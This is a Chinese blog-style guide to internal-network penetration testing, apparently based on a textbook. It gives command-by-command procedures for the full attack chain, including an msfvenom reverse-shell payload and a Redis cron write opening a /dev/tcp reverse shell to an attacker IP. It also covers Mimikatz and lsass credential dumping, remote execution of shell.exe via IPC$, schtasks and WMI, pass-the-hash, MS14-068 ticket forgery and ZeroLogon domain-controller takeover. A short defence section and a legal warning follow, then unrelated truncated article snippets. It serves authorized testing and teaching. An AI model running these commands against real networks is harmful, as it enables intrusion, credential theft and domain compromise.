内网渗透技术全面指南——安全业务视角(基于《内网渗透技术 (吴丽进、苗春雨 主编;郑州、雷珊珊、王伦 副主编)》)
文章目录
- 一、内网渗透概述
- 二、内网渗透环境准备
- 2.1 C&C工具的使用
- 2.2 Windows域环境的搭建
- 三、内网信息收集技术
- 3.1 本机信息收集
- 3.2 内网主机信息收集
- 四、内网权限提升技术
- 4.1 Windows主机权限提升
- 4.2 Linux主机权限提升
- 4.3 通过第三方服务提权
- 五、内网代理穿透技术
- 5.1 端口转发技术
- 5.2 流量代理技术
- 六、内网横向移动技术
- 6.1 凭证获取
- 6.2 利用IPC$进行横向移动
- 6.3 利用SMB服务进行横向移动
- 6.4 利用WMI服务进行横向移动
- 6.5 域环境横向移动
- 七、内网渗透防御与缓解措施
- 八、总结
内网渗透是网络安全领域的重要分支,对于企业安全防御体系建设、安全治理和风险评估具有重要意义。本文将系统性地介绍内网渗透技术的核心概念、方法论和实战技巧,帮助安全专业人员全面掌握相关知识,为企业安全防御提供参考。
如果想深入研究,可以看这本书,是以任务为视角,偏向技术人员实际操作,同时搭配本博客食用更佳!
安恒信息:《内网渗透技术 (吴丽进、苗春雨 主编;郑州、雷珊珊、王伦 副主编)》
一、内网渗透概述
内网渗透的定义
内网渗透是指安全测试人员在获取网络边界的一台或多台服务器权限后,利用这些服务器作为跳板,对内部网络进行渗透测试的过程。内网渗透测试的最终目标是模拟真实攻击者的行为,评估企业内网的安全性,发现潜在风险,并提出改进建议。
内网渗透的意义
内网渗透测试对企业安全具有以下几点重要意义:
- 评估安全防御能力:通过模拟真实攻击者的行为,评估企业内网安全防御的有效性
- 发现潜在安全漏洞:识别内网环境中可能被恶意攻击者利用的安全漏洞和配置错误
- 验证安全策略实施:检查企业安全策略在实际环境中的执行情况
- 提高安全意识:帮助企业员工了解内网安全的重要性,增强安全意识
- 指导安全建设:为企业安全建设提供具体方向和建议
内网渗透的流程
内网渗透测试通常遵循以下流程:
- 信息收集:获取内网结构、主机信息、用户信息等基础数据
- 权限提升:将获取的低权限账户提升至管理员或系统级别权限
- 代理穿透:建立网络通道,实现跨网段访问内网资源
- 横向移动:从一台已控制的主机扩展到其他内网主机
- 痕迹清除:清理入侵痕迹,避免被发现
二、内网渗透环境准备
2.1 C&C工具的使用
命令与控制(Command and Control,C&C)工具是内网渗透中最基础的工具类型,用于和已控制的受害机器建立持续连接,实现远程控制。常见的C&C工具包括:
Metasploit Framework
Metasploit Framework(MSF)是一个开源的渗透测试框架,提供了丰富的漏洞利用模块和攻击载荷:
-
基本使用流程:
- 使用
msfconsole
命令启动MSF - 使用
search
命令查找漏洞模块 - 使用
use
命令选择漏洞模块 - 使用
set
命令设置参数 - 使用
run
或exploit
命令执行漏洞利用
- 使用
-
meterpreter会话:MSF的特殊会话类型,具有文件操作、命令执行、权限提升等功能
-
msfvenom工具:MSF的攻击载荷生成器,可生成各种格式的恶意文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=攻击机IP -f exe > shell.exe
Cobalt Strike
Cobalt Strike是一款商业化的C&C工具,具有更友好的用户界面和更丰富的功能:
- 服务端与客户端:Cobalt Strike采用C/S架构,支持团队协作
- Beacon会话:Cobalt Strike的特殊会话类型,提供控制目标主机的各种功能
- 睡眠机制:Beacon可设置通信间隔时间,降低被发现风险
2.2 Windows域环境的搭建
域环境是企业中常见的网络环境类型,是内网渗透的重要目标:
Windows Server域服务安装
在Windows Server上安装Active Directory域服务的主要步骤:
- 安装Active Directory域服务角色
- 运行Active Directory域服务安装向导
- 创建新林、新域
- 设置域功能级别和DNS服务器
- 设置管理员密码
客户端加入域环境
Windows客户端加入域环境的步骤:
- 配置客户端网络设置(确保DNS指向域控制器)
- 修改计算机属性中的计算机名和域设置
- 提供域管理员凭据完成加入域操作
三、内网信息收集技术
3.1 本机信息收集
本机信息收集是内网渗透的第一步,主要回答"我是谁"的问题:
Windows主机信息收集
-
用户信息收集:
whoami /all # 查看当前用户详细信息 net user # 查看本地用户列表 net localgroup administrators # 查看本地管理员组成员
-
系统信息收集:
systeminfo # 查看操作系统信息 ipconfig /all # 查看网络配置 route print # 查看路由表
-
网络连接信息:
netstat -ano # 查看端口连接情况 net share # 查看共享信息 net session # 查看会话连接
-
进程信息收集:
tasklist # 查看进程列表 tasklist /SVC # 查看服务和进程的对应关系
-
域信息收集(适用于域环境):
net config workstation # 查看当前域信息 net group "domain admins" /domain # 查看域管理员组成员 net group "domain controllers" /domain # 查看域控制器列表
Linux主机信息收集
-
用户信息收集:
whoami # 查看当前用户 id # 查看用户ID和组信息 cat /etc/passwd # 查看系统用户列表 last # 查看最近登录信息
-
系统信息收集:
uname -a # 查看操作系统信息 ifconfig # 查看网络接口信息 hostname -I # 查看主机IP地址
-
网络连接信息:
netstat -ntlp # 查看TCP端口监听情况
-
进程信息收集:
ps -ef # 查看进程信息
3.2 内网主机信息收集
内网主机信息收集主要回答"这是哪"的问题,探测内网中的其他主机:
主机存活探测
-
ICMP探测:
for /l %i in (1,1,255)do @ping 192.168.111.%i -w 1 -n 1 | find /i "ttl"
-
ARP扫描(使用MSF):
run post/windows/gather/arp_scanner RHOSTS=192.168.111.1/24
端口扫描
-
使用MSF端口扫描模块:
use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.111.100 set PORTS 21,23,53,80,445,1433 run
-
使用fscan工具:fscan是一款内网综合扫描工具,支持主机存活探测、端口扫描、服务识别等功能
fscan64.exe -h 192.168.111.1/24
四、内网权限提升技术
4.1 Windows主机权限提升
Windows主机权限提升的主要目标是从普通用户提升至管理员或SYSTEM权限:
UAC绕过
用户账户控制(UAC)是Windows Vista及以上版本引入的安全机制,即使管理员用户也需要通过UAC才能执行高权限操作:
- 使用MSF绕过UAC:
use exploit/windows/local/bypassuac set SESSION <session id> run
内核漏洞利用
Windows系统的内核漏洞可用于权限提升:
-
使用MSF的local_exploit_suggester模块:
run post/multi/recon/local_exploit_suggester
-
使用WES-NG辅助提权脚本:该脚本可根据系统信息匹配可用的提权漏洞
-
常见内核漏洞:CVE-2019-1458、MS16-032等
4.2 Linux主机权限提升
Linux主机权限提升的主要目标是从普通用户提升至root权限:
sudo提权
利用sudo配置错误实现提权:
sudo -l # 查看当前用户可执行的sudo命令
sudo -i # 如果允许,直接切换至root用户
内核漏洞利用
-
使用linux-exploit-suggester脚本:根据内核版本识别可用的提权漏洞
-
常见Linux内核漏洞:CVE-2021-4034(pkexec)、DirtyCow等
4.3 通过第三方服务提权
MySQL UDF提权
MySQL UDF(用户自定义函数)提权的条件:
- 获取MySQL高权限用户(如root)
- MySQL具有文件读写权限
提权步骤:
-
检查MySQL是否有文件读写权限
show global variables like '%secure_file_priv%';
-
使用MSF模块上传恶意外部插件
use exploit/multi/mysql/mysql_udf_payload
-
创建执行命令的自定义函数
create function sys_eval returns string SONAME '插件文件名';
-
执行系统命令
select sys_eval("whoami");
Redis利用同步保存提权
Redis的同步保存功能可写入任意文件,提权方式:
-
写入定时任务:
set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/攻击机IP/4444 0>&1\n" config set dir /var/spool/cron config set dbfilename root save
-
写入SSH公钥:将SSH公钥写入目标用户的authorized_keys文件
-
写入WebShell:将WebShell写入Web服务目录
五、内网代理穿透技术
内网代理穿透用于打通网络限制,使攻击者能够访问内网中的隔离网段:
5.1 端口转发技术
端口转发适用于转发特定端口的流量:
使用lcx/portmap工具
lcx工具实现端口转发的两种模式:
-
listen模式(在攻击机上执行):
lcx.exe -listen <监听端口> <转发端口>
-
slave模式(在内网主机上执行):
lcx.exe -slave <攻击机IP> <监听端口> <目标IP> <目标端口>
5.2 流量代理技术
流量代理技术适用于转发所有网络流量:
使用ew(EarthWorm)工具
ew工具支持正向代理和反向代理:
-
正向代理(在内网边缘主机上执行):
ew_for_Win.exe -s ssocksd -l 1080
-
反向代理:
- 在攻击机上执行:
ew_for_Win.exe -s rcsocks -l 1080 -e 8888
- 在内网边缘主机上执行:
ew_for_Win.exe -s rssocks -d <攻击机IP> -e 8888
- 在攻击机上执行:
使用nps工具
nps是一款功能强大的内网穿透代理服务器:
-
服务端配置:配置nps.conf文件,设置通信端口和Web管理端口
-
客户端配置:将客户端连接至服务端
npc.exe -server=<服务端IP:端口> -vkey=<验证密钥>
-
代理类型:支持SOCKS代理、HTTP代理等
使用gost工具
gost是基于Go语言开发的安全隧道:
-
正向代理:
gost-windows-amd64.exe -L :1080
-
转发代理:
gost-linux-amd64 -L :1080 -F <内网主机IP>:1080
代理客户端
配置代理客户端连接上述代理:
-
Proxifier(Windows):图形化配置代理
-
ProxyChains(Linux):
vim /etc/proxychains4.conf # 配置代理 proxychains <命令> # 使用代理执行命令
六、内网横向移动技术
横向移动是从一台已控制的主机扩展到其他内网主机的过程:
6.1 凭证获取
使用Mimikatz获取凭证
Mimikatz是一款强大的Windows凭证获取工具:
-
抓取明文密码和哈希:
privilege::debug sekurlsa::logonPasswords full
-
MSF集成的Mimikatz:
load kiwi creds_all
-
使用ProcDump配合Mimikatz:
procdump -accepteula -ma lsass.exe lsass.dmp sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full
6.2 利用IPC$进行横向移动
IPC$是Windows系统的命名管道共享资源:
-
建立IPC$连接:
net use \\<目标IP>\ipc$ "密码" /user:administrator
-
上传恶意文件:
copy shell.exe \\<目标IP>\C$
-
创建计划任务执行:
- 使用at命令(Windows 7及以下):
at \\<目标IP> <时间> C:\shell.exe
- 使用schtasks命令(Windows 7以上):
schtasks /create /s <目标IP> /u administrator /p "密码" /ru "SYSTEM" /tn shell /sc DAILY /tr C:\shell.exe /F schtasks /run /s <目标IP> /u administrator /p "密码" /tn shell /i
- 使用at命令(Windows 7及以下):
6.3 利用SMB服务进行横向移动
使用PsExec
PsExec是微软官方提供的远程命令执行工具:
PsExec.exe \\<目标IP> -u administrator -p "密码" -s cmd
使用impacket的psexec.py
impacket的psexec.py支持哈希传递攻击(PTH):
python3 psexec.py -hashes :<NTLM哈希> 域名/用户名@<目标IP>
6.4 利用WMI服务进行横向移动
WMI(Windows Management Instrumentation)服务用于远程管理Windows系统:
-
使用wmic命令:
wmic /node:<目标IP> /user:administrator /password:<密码> process call create "cmd.exe /c command"
-
使用wmiexec.vbs脚本:
cscript //nologo wmiexec.vbs /shell <目标IP> administrator 密码
-
使用impacket的wmiexec.py:
python3 wmiexec.py -hashes :<NTLM哈希> 域名/用户名@<目标IP>
6.5 域环境横向移动
MS14-068漏洞利用
MS14-068是一个Kerberos域用户提权漏洞:
-
获取域用户SID:
whoami /all
-
清除票据:
kerberos::purge
-
伪造票据:
MS14-068.exe -u <域用户>@<域名> -s <SID> -d <域控IP> -p <密码>
-
导入票据:
kerberos::ptc <票据文件>
-
验证提权:
dir \\<域控主机名>\C$
CVE-2020-1472(ZeroLogon)漏洞利用
ZeroLogon漏洞允许未经身份验证的攻击者获取域控制器的权限:
-
检测漏洞:
python3 zerologon_tester.py <域控主机名> <域控IP>
-
置空域控密码:
python3 set_empty_pw.py <域控主机名> <域控IP>
-
获取域用户哈希:
python3 secretsdump.py <域名>/<域控主机名>\$@<域控IP> -no-pass
-
恢复域控密码:
python3 reinstall_original_pw.py <域控主机名> <域控IP> <NTLM哈希>
七、内网渗透防御与缓解措施
网络隔离与访问控制
- 网络分段:划分不同安全区域,实施严格的访问控制
- 最小权限原则:仅授予用户必要的权限
- 双因素认证:为关键系统实施双因素认证
系统加固
- 定期补丁更新:及时安装系统和应用补丁
- 禁用不必要服务:关闭不需要的网络服务和端口
- 强密码策略:实施复杂密码策略,避免密码复用
监控与检测
- 安全日志审计:收集并分析系统和网络日志
- 行为异常检测:建立基准行为模型,检测异常活动
- 安全工具部署:部署IDS/IPS、EDR等安全工具
八、总结
内网渗透测试是一项复杂而系统的工作,需要测试人员掌握多种技术和工具。从信息收集、权限提升、代理穿透到横向移动,每一步都需要细致的操作和全面的思考。通过深入了解内网渗透技术,企业安全团队可以更好地评估内网安全状况,发现潜在风险,并制定有效的防御策略,最终提升整体安全水平。
同时,我们也必须强调,内网渗透技术应当用于合法的安全测试活动,测试前必须获得相关授权,并遵守相关法律法规和职业道德准则。安全专业人员应当将这些知识用于保护信息系统安全,而非破坏或侵犯他人隐私。
特别强调,根据《中华人民共和国刑法》第二百八十六条,违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。
专业名词附录表
A
Active Directory(AD):微软开发的目录服务,用于在Windows域网络中进行身份验证和授权ARP扫描:通过发送ARP请求确定局域网内存活主机的方法
B
Beacon:Cobalt Strike工具中的一种特殊会话类型,用于与服务器进行通信
C
C&C(Command and Control):命令与控制,指攻击者用于与受控主机通信的服务器和通信方式Cobalt Strike:一款商业化的渗透测试框架和后渗透工具
G
Golden Ticket:黄金票据,Kerberos认证协议中可用于伪造任意用户的TGT票据gost:一款基于Go语言开发的安全隧道和代理工具
H
Hash传递攻击(PTH):不提供明文密码,仅使用哈希值进行身份验证的攻击方式
I
impacket:用于处理网络协议的Python库,包含多种用于横向移动的工具IPC$(Internet Process Connection):Windows系统中提供进程间通信的命名管道共享资源
K
Kerberos:一种网络认证协议,用于在不安全网络中验证服务请求的身份
L
lcx:一款端口转发工具,用于将内网端口映射到外网
M
Metasploit Framework(MSF):一个开源的渗透测试框架meterpreter:MSF的高级载荷,提供交互式shell和系统操作功能
Mimikatz:一款用于提取Windows系统中凭证的工具
MS14-068:一个Kerberos域用户提权漏洞(CVE-2014-6324)
N
nps:一款轻量级、高性能的内网穿透代理服务器NTLM哈希:Windows系统中存储密码的哈希值格式
P
ProxyChains:Linux系统下的代理配置工具Proxifier:Windows系统下的全局代理配置工具
PsExec:微软提供的用于远程命令执行的工具
PTT(Pass The Ticket):票据传递攻击,利用Kerberos票据进行身份验证的攻击方式
S
SMB(Server Message Block):一种用于共享文件、打印机和串行端口的网络协议SOCKS:一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递
SQL注入:通过将SQL代码插入应用程序的输入字段中,从而影响数据库查询的技术
U
UAC(User Account Control):Windows的用户账户控制功能,用于防止恶意软件未经授权修改系统
W
WMI(Windows Management Instrumentation):Windows管理规范,用于管理数据和操作Windows系统wmic:Windows系统中用于访问WMI的命令行工具
Z
ZeroLogon(CVE-2020-1472):一个严重的Windows域控制器漏洞,允许攻击者未经身份验证获取域控权限
相关文章:
内网渗透技术全面指南——安全业务视角(基于《内网渗透技术 (吴丽进、苗春雨 主编;郑州、雷珊珊、王伦 副主编)》)
文章目录 一、内网渗透概述二、内网渗透环境准备2.1 C&C工具的使用2.2 Windows域环境的搭建 三、内网信息收集技术3.1 本机信息收集3.2 内网主机信息收集 四、内网权限提升技术4.1 Windows主机权限提升4.2 Linux主机权限提升4.3 通过第三方服务提权 五、内网代理穿透技术5.…...
数据清洗-电商双11美妆数据分析(二)
1.接下来用seaborn包给出每个店铺各个大类以及各个小类的销量销售额 先观察销量,各店小类中销量最高的是相宜本草的补水类商品以及妮维雅的清洁类商品,这两类销量很接近。而销售额上,相宜本草的补水类商品比妮维雅的清洁类商品要高得多&#…...
矩阵系统源码搭建 UI 设计开发指南,支持OEM
在数字化时代,矩阵系统作为高效的数据处理和管理工具,广泛应用于各个领域。而一个优秀的 UI 设计,不仅能提升用户体验,还能使矩阵系统的功能发挥得更加淋漓尽致。本文将详细介绍矩阵系统源码搭建 UI 设计的全流程,助你…...
认识中间件-以及两个简单的示例
认识中间件-以及两个简单的示例 什么是中间件一个响应处理中间件老朋友 nest g如何使用为某个module引入全局引入 编写逻辑 一个日志中间件nest g mi 生成引入思考 代码进度 什么是中间件 官方文档 中间件是在路由处理程序之前调用的函数。中间件函数可以访问请求和响应对象&…...
使用 Gradio + Qwen3 + vLLM 部署 Text2SQL 多表查询系统
完成使用 Gradio 作为前端,Qwen3 作为大模型,vLLM 作为推理引擎来部署一个支持多表查询的 Text2SQL 系统。 系统架构概述 Gradio: 提供用户友好的 Web 界面 Qwen3: 通义千问的最新开源大模型,擅长文本到SQL转换 vLLM: 高效的大模型推理引擎…...
OrangePi Zero 3学习笔记(Android篇)2 - 第一个C程序
目录 1. 创建项目文件夹 2. 创建c/cpp文件 3. 创建Android.mk/Android.bp文件 3.1 Android.mk 3.2 Android.bp 4. 编译 5. adb push 6. 打包到image中 在AOSP里面添加一个C或C程序,这个程序在Android中需要通过shell的方式运行。 1. 创建项目文件夹 首先需…...
【数据结构】手撕二叉搜索树
目录 二叉搜索树的概念二叉搜索树的实现节点类构造函数拷贝构造函数赋值运算符重载析构函数插入函数查找函数删除函数中序遍历 二叉搜索树的应用(k和k/v模型 ) 二叉搜索树的概念 ⼆叉搜索树⼜称⼆叉排序树,它或者是⼀棵空树,或者是具有以下性质的⼆叉树…...
C++排序算法(一)
一.初识排序 排序是将一组数据元素按照特定的顺序(如升序或降序)进行重新排列的操作。排序算法则是实现这种数据重新排列的具体方法。 c/c中,这些元素可以是各种数据类型,比如整数、浮点数、字符串,甚至是自定…...
链表——C语言
一、单项不带头 #pragma once #include<stdio.h> #include<stdlib.h>typedef int data; typedef struct list {data a;struct list* next; }list;list* buynode(data x);void pushback(list** phead,data x);void popback(list** phead);void pushfront(list** ph…...
Java学习手册:数据库事务相关知识
一、事务的概念与特性 概念 :事务是数据库中一系列操作的集合,这些操作要么全部成功,要么全部失败,是一个不可分割的工作单位。例如,在银行转账系统中,从一个账户扣款和向另一个账户存款这两个操作必须作为…...
碰一碰发视频源码搭建的技术迭代与升级实践
在数字化营销与智能交互场景不断拓展的背景下,碰一碰发视频技术凭借其便捷性和创新性,成为实体商业、文旅宣传等领域的重要工具。然而,随着用户需求升级、技术快速发展,基于源码搭建的碰一碰发视频系统也需持续迭代更新。本文将围…...
Linux 内核学习(6) --- Linux 内核基础知识
目录 Linux 内核基础知识进程调度内存管理虚拟文件系统和网络接口进程间通信Linux 内核编译Makefile 和 Kconfig内核Makefile内核Kconfig 配置项标识的写法depend 关键字select 关键字表达式逻辑关系Kconfig 其他语法 配置文件的编译Linux 内核引导方法Booloader 定义Linux 内核…...
28. C++位图 布隆过滤器 哈希切割相关
文章目录 位图位图概念代码实现将x比特位置1将x比特位置0检测位图中x是否为1全部代码实现 C库中的位图 bitset位图的应用 布隆过滤器布隆过滤器提出布隆过滤器概念布隆过滤器的特点控制误判率布隆过滤器的实现布隆过滤器的插入布隆过滤器的查找布隆过滤器的删除布隆过滤器优点布…...
第2章 神经网络的数学基础
本章我们将梳理一下神经网络所需的数学基础知识,其中大多数内容没有超出高中所学范围,因此读起来不会吃力。 2-1神经网络所需的函数 本节我们来看一下神经网络世界中频繁出现的函数。虽然它们都是基本的函数,但是对于神经网络是不可缺少的。…...
linux环境安装docker
linux环境下载安装docker 参考网址查询服务器的操作系统下载docker1、卸载已安装的docker2、安装dnf-plugins-core 包3、配置镜像仓库4、安装版本安装最新版本安装指定版本 5、设置开机自启动6、运行测试7、卸载重装清理 Docker 系统中不再使用的数据(容器、缓存&am…...
windows使用bat脚本激活conda环境
本文不生产技术,只做技术的搬运工!!! 前言 最近需要在windows上使用批处理脚本执行一些python任务,但是被自动激活conda环境给卡住了,研究了一下解决方案 解决方案 call your_conda_path\Scripts\activa…...
第一章:MySQL 索引基础
第一章:MySQL 索引基础 1. 索引是什么? 定义:索引(Index)是数据库中用于快速查找数据的一种数据结构,类似于书籍的目录。核心作用:通过减少磁盘I/O次数,加速查询速…...
紫光展锐全新奇迹手游引擎,开启游戏“芯”时代
UNISOC Miracle Gaming奇迹手游引擎亮点: • 高帧稳帧:支持《王者荣耀》等主流手游90帧高画质模式,连续丢帧率最高降低85%; • 丝滑操控:游戏冷启动速度提升50%,《和平精英》开镜开枪操作延迟降低80%; • 极速网络&…...
C++ 的未来趋势与挑战:探索新边界
引言 在软件开发的浩瀚宇宙中,C 一直是一颗耀眼的恒星,凭借其卓越的性能和广泛的适用性,在系统编程、游戏开发、嵌入式系统等诸多领域占据着核心地位。随着科技的飞速发展,C 也面临着新的趋势和挑战。本文将深入探讨 C 在 AI 驱动…...
Oracle 开窗函数
Oracle 开窗函数(Window Functions)允许在不合并行的前提下对数据进行复杂分析,常用于排名、累计计算、前后行对比等场景。 一、核心语法结构 函数名() OVER ([PARTITION BY 分区列] [ORDER BY 排序列 [ASC|DESC]] [窗口帧子句 (ROWS | RAN…...
【PostgreSQL数据分析实战:从数据清洗到可视化全流程】7.3 动态报表生成(Jupyter Notebook/ReportLab)
👉 点击关注不迷路 👉 点击关注不迷路 👉 点击关注不迷路 文章大纲 PostgreSQL数据分析实战:动态报表生成(Jupyter Notebook/ReportLab)一、动态报表生成概述(一)动态报表的重要性&a…...
Oracle OCP认证考试考点详解083系列11
题记: 本系列主要讲解Oracle OCP认证考试考点(题目),适用于19C/21C,跟着学OCP考试必过。 51. 第51题: 题目 解析及答案: 关于在 Linux 上安装 Oracle 数据库,以下哪三项是正确的?…...
双11美妆数据分析
1. 导入库使用Python进行分析,需要导入相关库: pythonimport pandas as pdimport numpy as npimport matplotlib.pyplot as pltimport seaborn as sns 1. 读取数据1. 查看数据基本信息 查看前几行:使用 df.head() 查看数据的前5行ÿ…...
github+ Picgo+typora
github Picgotypora 本文将介绍如何使用Picgo在typora中实现上传服务 创建github仓库以及配置token 创建仓库 注意需要Initialize 添加README 配置为public 配置token github点击头像找到setting 选择Developer setting 配置token generate 选第一个第二个都行(我这里选第…...
战术级微波干扰系统:成都鼎轻量化装备如何实现全频段智能压制?
在5G与卫星通信蓬勃发展的今天,成都鼎讯科技推出新一代微波通信干扰设备,以1000-6000MHz全频段覆盖能力,打造单兵可携的"电磁手术刀"。该设备突破传统微波干扰设备"高能耗、大体积"的桎梏,通过军用级模块化设…...
Oracle 数据布局探秘:段与区块的内部机制
前言 在 Oracle 数据库的庞大架构中,数据存储的效率与性能是决定整个系统健康状况的关键因素。Oracle 采用了一套精妙的逻辑存储管理体系来组织和分配数据,其中,“段(Segment)”和“区(Extent)…...
leetcode 142. Linked List Cycle II
题目描述 哈希表解法 这个方法很容易想到,但需要O(N)的空间。 /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNode(int x) : val(x), next(NULL) {}* };*/ class Solution { public:ListNode *detect…...
探索智能体的记忆:类型、策略和应用
AI Agent 中的记忆:类型、策略和应用 记忆实现是使智能体能够保持上下文、从过去的交互中学习并做出明智决策的关键组成部分。与人类记忆非常相似,智能体记忆允许 AI 系统随时间存储、检索和利用信息,从而为用户创造更连贯和个性化的体验。 …...
mysql集成Qwen大模型MCP计算【附实战代码】
mysql集成Qwen大模型MCP计算 题目分析步骤 1:在 MySQL 中构建核素半衰期数据库1.1 数据库设计1.2 安装和设置 MySQL1.3 创建数据库和表步骤 2:构建放射性活度计算函数2.1 依赖库2.2 Python 函数2.3 函数说明步骤 3:修复 MySQL 访问权限步骤 4:代码实践用户输入指导测试用例…...
006 yum和Linux生态
🦄 个人主页: 小米里的大麦-CSDN博客 🎏 所属专栏: Linux_小米里的大麦的博客-CSDN博客 🎁 GitHub主页: 小米里的大麦的 GitHub ⚙️ 操作环境: Visual Studio 2022 文章目录 Linux 软件包管理器 yum什么是软件包?基于 Linux 系统…...
一种扫描雷达超分辨成像检测一体化方法——论文阅读
一种扫描雷达超分辨成像检测一体化方法 1. 专利的研究目标与产业意义1.1 研究目标与实际问题1.2 产业意义2. 专利的创新方法:低秩稀疏约束与联合优化框架(重点解析)2.1 核心思路与模型构建2.2 迭代优化算法2.3 与传统方法的对比优势3. 实验设计与验证3.1 实验参数3.2 实验结…...
三款实用工具推荐:配音软件+Windows暂停更新+音视频下载!
各位打工人请注意!今天李师傅掏出的三件套,都是经过实战检验的效率放大器。先收藏再划走,说不定哪天就能救命! 一.祈风TTS-配音大师 做短视频的朋友肯定深有体会——配个音比写脚本还费劲!要么付费买声音,…...
云平台的文件如何备份
不同的云平台有不同的文件备份方式,以下以常见的阿里云、腾讯云为例进行介绍: 阿里云 对象存储 OSS 可以通过 OSS 控制台,选择需要备份的 Bucket(存储桶)和文件,手动发起备份操作,将数据复制到…...
密码学系列 - SR25519与ED25519
SR25519 SR25519 是一种高级的数字签名算法,它基于 Schnorr 签名方案,使用的是 Curve25519 椭圆曲线。这种签名算法在密码学社区中广受欢迎,特别是在区块链和加密货币领域。以下是关于 SR25519 的详细介绍。 SR25519 简介 SR25519 是一种 …...
XMP-Toolkit-SDK 编译与示例程序
一、前言 最近在调研图片的元数据读写方案,需要了解 XMP 空间以及如何在 XMP 空间中读写元数据,本文做一个相关内容的记录。 XMP-Toolkit-SDK 以及 XMP标准简介 XMP-Toolkit-SDK 是 Adobe 提供的一套开源软件开发工具包(SDK)&a…...
基于nnom的多选择器
核心组件 元件类型目的接口STM32F103CB微控制器主处理单元-MPU60506 轴 IMU移动侦测I2C 接口W25Q64 系列闪存信号和配置存储SPI 系列按钮用户输入模式选择和激活GPIO (通用输出)搭载了LED用户反馈系统状态指示GPIO (通用输出)RT6…...
铁塔基站项目用电能表有哪些?
简婷 安科瑞电气股份有限公司 上海嘉定 201801 引言:随着5G基站的迅猛发展,基站的能耗问题也越来越突出,高效可靠的基站配电系统方案,是提高基站能耗使用效率,实现基站节能降耗的重要保证,通过多回路仪表…...
ROS-仿真实验平台
(1)ROS基本架构 机器人操作系统(Robot Operating System,ROS)是一款基于开源协议的、针对 机器人进行开发的、灵活可扩展的的软件平台,整合多种软件功能包和开发工具,提 供机器人操作系统所需的…...
Loly: 1靶场渗透
Loly: 1 来自 <Loly: 1 ~ VulnHub> 1,将两台虚拟机网络连接都改为NAT模式 2,攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 那么攻击机IP为192.168.23.182,靶场IP192.168.23.241 3,对靶机进行端口服务探测 n…...
LeetCode第191题_位1的个数
LeetCode 第191题:位1的个数 题目描述 编写一个函数,输入是一个无符号整数(以二进制串的形式),返回其二进制表达式中数字位数为 ‘1’ 的个数(也被称为汉明重量)。 难度 简单 题目链接 点…...
JVM——Java内存模型
Java内存模型 在Java多线程编程中,Java内存模型(Java Memory Model, JMM)是理解程序执行行为和实现线程安全的关键。下面我们深入探讨Java内存模型的内容。 Java内存模型概述 Java内存模型定义了Java程序中变量的内存操作规则,…...
JVM局部变量表和操作数栈的内存布局
局部变量表和操作数栈 首先看一段Java源码 public class Add_Sample{public int add(int i, int j){int k 100;int result i j k;return result;}public static void main(String[] args){int result new Add_Sample().add(10,20);System.out.println(result);} }使用ja…...
【MongoDB篇】MongoDB的分片操作!
目录 引言第一节:分片核心概念:为什么要分片?它是什么? 🤔💥🚀第二节:分片架构的“三大金刚”:核心组件解析 🧱🧠🛣️第三节ÿ…...
AI一键替换商品融入场景,5分钟打造专业级商品图
在电商行业,传统修图工具操作复杂、耗时费力,尤其是将商品自然融入多样化场景的需求,常让卖家头疼不已。如今,一款专为电商设计的AI工具-图生生,其核心功能“AI商品图-更换背景”,颠覆传统流程。只需上传一…...
《数据结构:二叉搜索树(Binary Search Tree)》
文章目录 :red_circle:一、二叉搜索树的概念:red_circle:二、二叉搜索树的性能分析:red_circle:三、二叉搜索树的操作(一)插入(二)查找(三)删除 :red_circle:四、二叉搜索树的实现代码(一&#…...
isNotBlank和isNotEmpty有什么区别?
如下是hutool的StrUtil工具包下的源码 结果:如果字符串仅由空白字符组成(比如 " "),那么isNotBlank将返回false,而isNotEmpty返回true。 isNotBlank当中的Blank是空白的意思,也就是是否不等于空…...
Kotlin 中实现单例模式的几种常见模式
1 懒汉式,线程安全(伴生对象 by lazy) 想“懒汉”一样,拖延到首次使用时才进行初始化。 通过 companion object 和 lazy 实现懒加载,首次访问是才进行初始化,lazy 默认使用 LazyThreadSafetyMode.SYNCHR…...
挑战用豆包教我学Java
现在的AI发展的越来越快,在学习方面更是让人吃惊,所以我决定用豆包来教我学Java语言。本人现在大二,此前已经学习过了c,所以有一定的基础,相信我肯定可以成功的! 首先我向豆包说明的我的情况: …...
怎么在非 hadoop 用户下启动 hadoop
今天有同学反馈一个问题,比较有代表性。说下 问题描述 在 root 用户下 无法执行如下代码 1.linux执行计划 :crontab 加入 42 17 7 5 * /root/hadoop_op.sh2.hadoop_op.sh内语句: #!/bin/bash su - hadoop cd /opt/module/hadoop-3.3.0/sb…...
如何激活python的虚拟环境
目录 激活虚拟环境步骤: 注意事项: 为什么写这篇文章: 我在检查依赖版本的时候发现在terminal一直显示找不到该依赖 但是在interpreter里面能看到所有我以及下载的依赖和版本;然后稍微看了下发现是自己忘记激活虚拟环境了&#…...